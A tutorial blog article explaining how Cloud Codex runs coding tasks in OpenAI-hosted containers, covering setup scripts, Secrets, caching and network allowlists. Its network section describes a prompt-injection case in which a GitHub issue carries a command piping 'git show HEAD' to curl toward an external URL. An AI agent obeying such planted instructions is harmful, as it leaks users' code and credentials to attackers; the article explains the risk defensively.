Cloud Codex: Offloading Tasks to the Cloud
📚 Series Navigation: The previous article 09 · IDE Extensions (VS Code, etc.) packed Codex into your editor sidebar—standing by wherever you write code. This article introduces a completely different way to work: you can turn off your computer while the task runs in the cloud. The next article 11 · Project Instructions File AGENTS.md returns to how to configure this "cloud machine" to behave correctly.
Hey guys, today we are talking about the most unique face among Codex's four entries—Cloud Codex (Codex cloud).
The previous three entries (Desktop App, CLI, IDE extension) share one thing: the work is done on your computer, reading your local files and running your local commands; if you shut down your computer, the work stops. The Cloud version is the opposite—you place an order in your browser, and the work runs on OpenAI's own cloud machines, completely disconnected from your computer.
Let me share a real-world scenario of mine. One afternoon in May, my CI pipeline for a Python service with several thousand lines suddenly failed. There were three unrelated failing test cases, all of which were tedious "not hard to fix but require looking one by one" tasks. In the past, I would have had to sit in front of the terminal fixing them one by one. That day, I went to chatgpt.com/codex and launched three tasks simultaneously—one task per failing test case, running on three cloud machines at the same time. I closed my laptop and went to a meeting. When I came back, three clean diffs were waiting for me to click "Create PR," and my local computer's fan hadn't even spun.
After reading this article, you will get:
- A clear understanding of what Cloud Codex is: zero local environment setup, running in isolated containers on OpenAI's cloud, and connected to your GitHub repositories
- An understanding of the 5-step lifecycle of a cloud task, from creating containers to delivering diffs
- How to configure cloud environments (environments): setup scripts, environment variables, Secrets, version locking, and caching
- The details of network access—why the agent is disconnected from the internet by default, when to enable access, and what the risks are
- A comparison table of "Cloud vs. Local" to help you choose what tasks to offload to the cloud and what to keep locally
01 What Cloud Codex Actually Is: Order in Browser, Work in the Cloud
First, the conclusion: Cloud Codex runs Codex on OpenAI's cloud—you don't need to configure any local environments. You open the website in your browser, connect your GitHub account, select a repository, and submit a task. It reads code, modifies code, and runs tests in an isolated container in the cloud, delivering diffs or creating Pull Requests (PRs) when done.
It runs at chatgpt.com/codex. When using it for the first time, you must: connect your GitHub account. Once connected, Codex can read your repository code and open Pull Requests (PRs) for you (a PR is a submission method saying "I have modified the code, please review and merge").
Click the middle link to connect to GitHub. 
Once connected, you can select repositories directly to modify code. If you want to disconnect, go to settings and remove the connection. 
Analogy: Hailing a ride with a driver instead of driving yourself. The local version is like your own car—familiar, but you must refuel, check tire pressure, and warm it up yourself (configuring environments, installing dependencies). The cloud version is like hailing a ride: the car is the platform's, the driver is the platform's, and the fuel is the platform's. You only input the destination (task description) on the App, start the ride (submit), and get off at the destination (review the diff). If the car breaks down or crashes, it is the platform's problem and doesn't touch your own car at all.
From a technical standpoint, this "other person's car" corresponds to the container (container, an isolated, lightweight running environment) Codex spins up in the cloud—creating a fresh one for each task, pulling your repository, and running tasks behind closed doors, completely isolated from your machine.
It fits these real-world scenarios:
- Running parallel tasks: each task runs in an isolated container on an isolated branch, avoiding conflicts. The example of "repairing three failing test cases on three machines at the same time" is typical—this is the best part of the cloud version.
- Repositories not cloned locally: if you want to inspect or modify something quickly but don't have the repository cloned on your machine. The cloud pulls it for you, saving you from cloning and configuring the environment.
- Offloading slow and long tasks to the background: running the full test suite, large refactorings, or migrations that take dozens of minutes can be offloaded to the cloud while you do other things.
- Working on a computer without your dev environment: working on a friend's machine or a brand-new computer where nothing is installed yet.
Two prerequisites to clarify before you start:
- It requires GitHub. Cloud Codex works based on GitHub repositories; without connecting to GitHub and selecting a repository, it cannot start.
- It requires a paid subscription. According to the docs, ChatGPT Plus, Pro, Business, Edu, and Enterprise subscriptions include Codex usage. Some Enterprise workspaces may require the admin to enable it first. The exact quota for each tier is subject to change, so refer to the official pricing page.
💡 Summary in one sentence: Cloud Codex = isolated containers on OpenAI's cloud + GitHub integration + zero local environment setup, ideal for parallel tasks, repositories not cloned locally, and offloading long tasks to the background. The prerequisites are a GitHub connection and a valid subscription.
02 How a Cloud Task Runs: From Container to Diff
When you click "Submit Task," what actually happens on the cloud side? The official docs split it into 5 distinct steps. Understanding these helps you configure environments and adjust networks correctly.
Analogy: Sending code into an automated assembly line. You place the repository (the raw material) on the conveyor belt, and it passes through several stations—loading, pre-processing according to your recipe, connecting utilities, robotic arms editing code, and presenting the final product for your inspection. Each station does one job in a fixed order; you adjust "how" each station does its job.
The assembly line flows like this:
- Create Container & Pull Repository: Codex spins up a fresh container and pulls your repository at the specified branch or commit.
- Run Setup Script (setup script): Installs dependencies and tools—for example, running
npm installorpip install. If running on a cached container, it also runs an optional maintenance script (maintenance script). - Apply Network Access Settings: The setup script stage can access the internet (to download dependencies), but when the Agent starts editing code, network access is blocked by default, which you must configure manually (detailed in Section 04).
- Agent Execution Loop: The agent runs terminal commands, edits code, runs checks, and validates its work. If an
AGENTS.mdfile exists in the repository, it follows the lint and test commands specified inside (which is whyAGENTS.mdis critical, detailed in the next article). - Delivery: Once done, it presents the final response and all modified diffs to you. You can create a PR in one click, or ask it to "modify this part further."
Let's trace this pipeline in a diagram:
This diagram shows that: a cloud task is an assembly line with a fixed order—"installing dependencies" and "editing code" are separate stages, and network access is granted separately (granted during setup, blocked by default during execution). Keep this distinction in mind.
Here is a trap beginners always fall into: when editing code in the cloud, the agent does not pause to ask for your approval—it reads the task and applies edits directly, delivering the final diff. This is different from the local "ask before out-of-bounds" rhythm. Therefore, cloud prompts must be specific: clearly state which file to edit, what the expected behavior is, and what to verify.
I fell into this trap late last year: I gave a vague prompt "optimize this logging module." When I checked back, it had refactored a massive block of code far beyond the minor edit I wanted, and the diff was painful to read. I ended up rewriting it myself. Since then, my cloud prompts are highly specific, like "change all print statements in logger.py to logging.info, and do not touch other files."
💡 Summary in one sentence: A cloud task is a 5-step pipeline—create container → run setup script (network allowed) → apply network settings (agent blocked by default) → agent execution → deliver diff. It does not prompt you mid-task, so write prompts specific enough to be verified in one go.
03 Configuring Environments: Dressing Up the Cloud Machine
The cloud machine starts as a "standard car," but your project likely has its own requirements—requiring a specific Node version, a specific linter, or running a build before testing. You tell it these requirements using environments (environments) configurations.
Analogy: Writing an inventory list for a rented apartment before moving in. The apartment (container) is a shell provided by the landlord, but before moving in, you state your requirements: install broadband (dependencies), set the water heater to this temperature (runtime version), and write the Wi-Fi password on the wall (environment variables). You write this list once, and it is applied automatically every time you move in. You configure environments in the Environments page of Codex Settings.
Let's break down the common items on this list:
Default Image: universal
By default, the cloud agent runs in a container image called universal, which has common languages, packages, and tools pre-installed (Python, Node.js work out of the box). To see what is installed, check the official reference repository openai/codex-universal, which includes the Dockerfile.
If the default versions do not fit your project, select "Set package versions" in the environment settings to lock runtime versions of Python, Node.js, etc.—avoiding issues where "the cloud runs Node 20 but I run Node 18 locally, resulting in mismatching behaviors."
Setup Script: Auto or Manual
The setup script (setup script) runs automatically after the container is created and before the agent starts editing code, primarily to install dependencies and tools. It has two modes:
- Automatic Setup: Uses common package managers (the docs list
npm,yarn,pnpm,pip,pipenv, andpoetry). Codex detects them automatically and installs dependencies, requiring no input from you. - Manual Setup: If the project is complex and automatic setup fails, write a custom script, for example:
# Install a type checker
pip install pyright
# Install dependencies
poetry install --with test
pnpm installHere is a crucial detail emphasized in the docs that beginners always miss:
The setup script and the agent run in two different Bash sessions, meaning environment variables exported in the setup script do not persist to the agent stage. If you run export FOO=bar in the setup script, FOO is empty during the agent stage. To make variables persist, write them to ~/.bashrc or configure them as "Environment Variables" in settings (detailed below). I fell into this trap when building a monorepo setup, wondering why the agent couldn't read exported variables, before realizing they were separate sessions.
Environment Variables vs. Secrets: Different Access Rules
Both insert configurations into the container, but their visibility rules differ significantly; mixing them up can leak credentials or cause read failures:
| Type | Lifespan | Who Can Read | Best for |
|---|---|---|---|
| Environment Variables | Entire task (both setup script and agent stages) | Setup script + Agent | Public configs like NODE_ENV |
| Secrets | Setup script stage only; deleted before agent starts | Setup script only | Sensitive keys like API keys and passwords |
Why are Secrets designed this way? The official docs explain that Secrets have an extra layer of encryption, decrypted only during task execution, and are removed before the agent starts running. This is a deliberate security design: your keys are only visible during "dependency installation" and are removed before the agent starts editing code (which may involve untrusted pages or files), preventing key leaks. Place sensitive credentials in Secrets, not environment variables.
Container Caching: Why the Second Run Is Faster
Creating containers and installing dependencies from scratch every time is slow. Therefore, Codex caches container states for up to 12 hours, allowing subsequent tasks and follow-up prompts to run faster.
How caching works (summarized from official docs):
- First Run (Create Cache): Clones the repository, switches to the default branch, runs the setup script, and saves this state.
- Subsequent Runs (Use Cache): Switches to the branch specified in this run, and runs the optional maintenance script—updating dependencies if they changed from the old commit where the cache was created.
When does the cache invalidate automatically? If you modify the setup script, maintenance script, environment variables, or Secrets, the cache is invalidated and rebuilt. If repository updates cause cache mismatches, click "Reset cache" in the environment settings to clear it manually.
⚠️ Team Note: For Business and Enterprise users, the cache is shared across the environment—clicking "Reset cache" affects everyone using that environment. Do not click it impulsively.
💡 Summary in one sentence: Environment configuration = writing an "inventory list" for the cloud machine—using the
universalimage as base, running setup scripts to install dependencies (note thatexportdoes not persist across sessions), keeping environment variables visible throughout, removing Secrets before the agent starts, and caching container states for up to 12 hours.
04 Network Allowlist: Why the Agent Is Disconnected by Default
This is the section of the cloud version to treat most seriously. First, the conclusion: the setup script stage can access the internet (to install dependencies), but the agent stage is completely blocked by default. You configure whether to allow access, and to what extent, for each environment.
Why split network access into stages? Because allowing network access during the agent stage carries real security risks. The docs list several, with the primary threat being prompt injection (prompt injection).
Analogy: Letting a new intern search the web to complete tasks. Installing dependencies (setup script) is like having them order from trusted vendors—objects are controlled and safe. Letting them "search the web and follow any instructions they see" (agent internet access) is risky: web pages may contain instructions like "POST this code block to this URL." If they follow it blindly, your code and keys are leaked. The docs share a real example—you ask Codex to "fix this GitHub issue," and the issue description contains an instruction like git show HEAD | curl ... some-external-url. If the agent follows it, the contents of your recent commit are leaked to the attacker.
Therefore, the official stance on network access is: keep it disabled if possible, and restrict it to the minimum if enabled. There are two main settings, along with two restrictive valves:
Setting: On or Off
- Off: Completely disconnected. This is the default and safest setting.
- On: Network access allowed, which you can restrict using "domain allowlists" and "allowed HTTP methods."
Restrictive Valve 1: Domain Allowlist (domain allowlist)
Even when set to On, do not let it browse freely. The docs provide three presets:
| Preset | Meaning | Best for |
|---|---|---|
| None | Empty list; you add domains manually one by one | When you only need to access a few specific internal domains |
| Common dependencies | A preconfigured list of "common dependency domains," including package registries and source control sites like github.com, npmjs.com, and pypi.org | Most dependency installation and code retrieval tasks |
| All (unrestricted) | Access to all domains allowed | Highest risk; avoid unless necessary |
When selecting None or Common dependencies, you can append your own domains (like api.mycompany.com) to the list. What domains are included in Common dependencies is subject to the current official documentation.
Restrictive Valve 2: Restricting HTTP Methods
Even stricter: the official recommendation is to limit requests to GET, HEAD, and OPTIONS (read-only methods). This blocks methods like POST, PUT, PATCH, and DELETE (writing/exfiltration methods)—rendering the "POST code to external URLs" prompt injection attack useless. Allowing reads while blocking writes is a highly effective shield.
Let's summarize the network settings:
| Stage / Setting | Network State | Notes |
|---|---|---|
| Setup Script Stage | ✅ Connected | Required to install dependencies, On by default |
| Agent Stage (Default) | ❌ Disconnected | Safest, Off by default |
| Agent Stage On + Common dependencies | ⚠️ Restricted domains | Sufficient and relatively safe; recommended starting point |
| Agent Stage On + restricted to GET/HEAD/OPTIONS | ⚠️ Read-only | Extra protection, blocking data exfiltration |
| Agent Stage On + All | 🚨 Fully open | Highest risk; avoid |
My habit: I keep network access disabled (Off) by default. For most tasks, installing dependencies during the setup script stage is enough for the agent to work, and it rarely needs internet access during execution. Only when it needs to retrieve real-time data or query external APIs do I set it to On, and I always start with Common dependencies + read-only methods, appending specific domains as needed instead of selecting All. Over the past year, out of fifty or sixty cloud tasks I've launched, fewer than five required network access.
⚠️ Background detail: all outbound traffic goes through an HTTP/HTTPS proxy (for safety and abuse prevention). This is managed at the platform level; you don't need to configure it, but know that cloud network access is proxied.
💡 Summary in one sentence: Dependency installation can connect to the internet, while agent execution is blocked by default; the primary risk of open access is prompt injections (malicious instructions in pages/issues stealing code/keys). If enabled, start with "Common dependencies + GET/HEAD/OPTIONS" and avoid opening it fully.
05 Cloud vs. Local: Which Tasks to Offload to the Cloud
Cloud and local are not competitors; they are partners. The criteria for choosing is simple:
Does the task need access to things on my local computer? If yes, use local (CLI / Desktop App / IDE extension); if no, offload it to the cloud.
Why? Because the cloud machine only contains files in your GitHub repository—any tools, configurations, or local MCP servers you have set up locally (like ~/.codex/ configurations) are invisible to the cloud. To make the cloud aware of them, commit configurations to the repository (like writing rules in AGENTS.md or configuring environment setups in settings).
Compare the two options:
| Dimension | Cloud Codex (Codex cloud) | Local (CLI / Desktop App / IDE Extension) |
|---|---|---|
| Where code runs | OpenAI cloud container | Your computer |
| Where you prompt | chatgpt.com/codex in browser | Terminal / Desktop UI / Editor panel |
| Access to local resources? | ❌ Repository files only | ✅ Local files, tools, configs all available |
| Requires GitHub? | ✅ Yes, connected repository required | ❌ No |
| Runs when computer is off? | ✅ Yes, runs asynchronously | ❌ No, stops when terminal is closed |
| Parallel tasks? | ✅ Natural strength, one container per task | Requires managing multiple worktrees manually |
| How edits are delivered | Diffs + one-click PRs | Modifies local files directly |
| Agent prompts you mid-task? | ❌ No, runs to completion and delivers diff | ✅ Stops to ask based on approval settings |
Let's highlight two rows.
First, "Runs when computer is off?"—this is the cloud's unique advantage. The example of "closing my laptop and going to a meeting, returning to three diffs" relies on this. Local tasks stop as soon as you close your terminal or laptop.
Second, "Agent prompts you mid-task?"—as emphasized, the cloud agent does not prompt you mid-task, so prompts must be specific; local tasks have sandboxes and approvals to prompt you before out-of-bounds actions, offering more hands-on control.
Other ways to launch cloud tasks: besides the browser, you can delegate tasks to the cloud from the IDE extension (launching tasks in the editor, monitoring progress, and pulling diffs back locally) and invoke Codex from GitHub (tagging @codex in issues or PRs to launch edits and PRs). These are different entrances to the same cloud system, which we won't expand on here.
💡 Summary in one sentence: Use local for tasks accessing local resources; use the cloud for tasks that don't, when you want parallel runs, or when you want tasks to run while your computer is off. The cloud only reads configurations committed to the GitHub repository; it cannot see your local global settings.
Let's trace these steps into a complete pipeline diagram:
This diagram shows that: the lifecycle of a cloud task is "connect repository → configure cloud environment (dependencies / runtime / network allowlist) → submit task (parallelable) → run in container → review diff → create PR". Configuring environments is a one-time prep task; once submitted, the task runs on OpenAI's cloud, delivering diffs even if your computer is turned off.
06 Hands-on: Submitting Your First Cloud Task
Let's run a minimal flow to experience "browser prompting → review diff → create PR." You only need a GitHub repository where you have write access (use a playground repository; do not test on production codebases).
Note: Cloud Codex is a web interface, and OpenAI may update button labels and layouts. Below is the workflow skeleton and expected behavior; adapt to the active UI instead of memorizing button names.
Step 1: Open the cloud page and connect to GitHub
Open in your browser:
https://chatgpt.com/codexIf it is your first time, follow the prompts to connect your GitHub account and authorize the repository.
Expected behavior: Once connected, you can select your playground repository in the dropdown. If it is missing, check your GitHub settings to ensure the repository is authorized.
Step 2: Inspect environment settings (Optional)
Check the environment settings for your repository on the Environments page.
Expected behavior: On your first visit, settings are default—universal image, automatic setup, and agent network set to Off. Keep these defaults for now; do not modify scripts or networks until you verify the basic flow.
Step 3: Submit a specific, verifiable task
Select the repository, and write a verifiable, specific task in the input box:
Create a HELLO.md file in the root directory with the text: Hello from Codex cloud. Do not modify any other files.Submit it.
Expected behavior: The task status changes to "Running." Codex is creating the container, pulling the repository, running the setup script, and starting the agent—witnessing the 5-step pipeline in action.
Step 4: Review the diff
Wait for the task to finish.
Expected behavior: The page displays the modified diff—showing the addition of HELLO.md with the text you specified. The diff is clean and only modified the target file = task successful. If it modified other files, check if you omitted "Do not modify any other files" from the prompt.
Step 5: Create a PR (or follow up)
If the diff is correct, click Create PR to open a Pull Request in your GitHub repository; if you want further changes, type "add another line: xxx" in the conversation to follow up.
Expected behavior: A PR branch with your changes appears in your GitHub repository, waiting for your review and merge. Seeing the PR on GitHub = complete loop verified. Success!
VPN Tip: Accessing
chatgpt.comand completing the GitHub OAuth flow usually require a VPN in mainland China. If pages fail to load, GitHub redirects spin forever, or tasks get stuck on "connecting," check your proxy settings.
💡 Summary in one sentence: Prompt in browser → review diff → create PR. Follow these five steps to run through the cloud pipeline—writing specific, verifiable prompts, verifying that only target files were edited in the diff, and creating the PR once satisfied.
07 Accessing from Mainland China and a Counterintuitive Network Detail
All features in this article rely on the chatgpt.com domains—running the web page at chatgpt.com/codex and authorizing GitHub via OpenAI services.
Therefore, the conclusion is clear: prepare your VPN before using the cloud version; otherwise, pages won't load, GitHub authorizations will fail, and tasks will hang on "connecting." This matches the network requirements of the local CLI.
However, there is a counterintuitive detail to highlight:
The agent inside the cloud container connects to the internet from OpenAI's cloud infrastructure, not your local network. Therefore, when the cloud machine downloads npm packages or clones GitHub repositories, it uses its own connection channels (passing through its allowlist and proxy), completely independent of whether you have a VPN enabled locally or what your local speed is.
Distinguishing these two saves troubleshooting effort:
- Where you need a VPN: only for "connecting your local browser to
chatgpt.com." - How the cloud container connects: managed by OpenAI and your configured allowlist, completely independent of your local network environment.
For example, if dependency installation is slow in the cloud or a domain fails to load, do not blame your local proxy—it is a network issue inside the cloud container or allowlist settings. Check your allowlist settings rather than your local connection.
💡 Summary in one sentence: Web pages and GitHub authorization require a local VPN; but the cloud container connects via OpenAI's own network + your configured allowlist, completely separate from your local network. Check allowlists rather than proxies if dependency downloads fail in the cloud.
08 Summary
This article has freed Codex from "staying on your computer"—prompting in the browser, executing in the cloud, and running asynchronously while your computer is turned off. Let's summarize the key points:
- What It Is: Isolated containers on OpenAI's cloud + GitHub integration + zero local environment setup, ideal for parallel runs, repositories not cloned locally, and offloading long tasks.
- Task Pipeline: Create container → run setup script (network allowed) → apply network settings (agent blocked by default) → agent execution (reads
AGENTS.md) → deliver diff/PR (5-step pipeline). - Environment Config:
universalimage as base, setup scripts to install dependencies (rememberexportdoes not persist), environment variables visible throughout, Secrets removed before the agent starts, and caching container states for up to 12 hours. - Network Allowlist: Allowing network access carries prompt injection risks; if enabled, start with "Common dependencies + GET/HEAD/OPTIONS" and avoid opening it fully.
Conclude with a selection table:
| Task | Entry to Choose | Where Code Runs |
|---|---|---|
| Avoid environment setups, edit repositories not cloned locally | Cloud Codex | OpenAI Cloud |
| Run multiple tasks in parallel | Cloud Codex (separate containers) | OpenAI Cloud |
| Offload slow, long tasks and shut down your computer | Cloud Codex | OpenAI Cloud |
| Access local files, tools, and local configurations | Local (CLI / Desktop / IDE) | Your machine |
| Delegate tasks to the cloud from your editor | IDE Extension | OpenAI Cloud |
You should now understand: the fundamental difference between the cloud and local versions (where the code executes), the 5-step lifecycle of a cloud task, how to configure setup scripts / environment variables / Secrets / caching, and when and how to enable network access safely. Mastering asynchronous cloud runs is a key milestone in integrating Codex into your daily workflow.
The next article 11 · Project Instructions File AGENTS.md: you likely noticed that the cloud agent reads the repository's AGENTS.md during execution, and local settings must be committed to the repository for the cloud to read them. How should you write AGENTS.md to ensure Codex follows your rules in both local and cloud environments? The next article covers it. Before you start, think about this: if a new colleague joined your project, what are the top three things you would write down to tell them?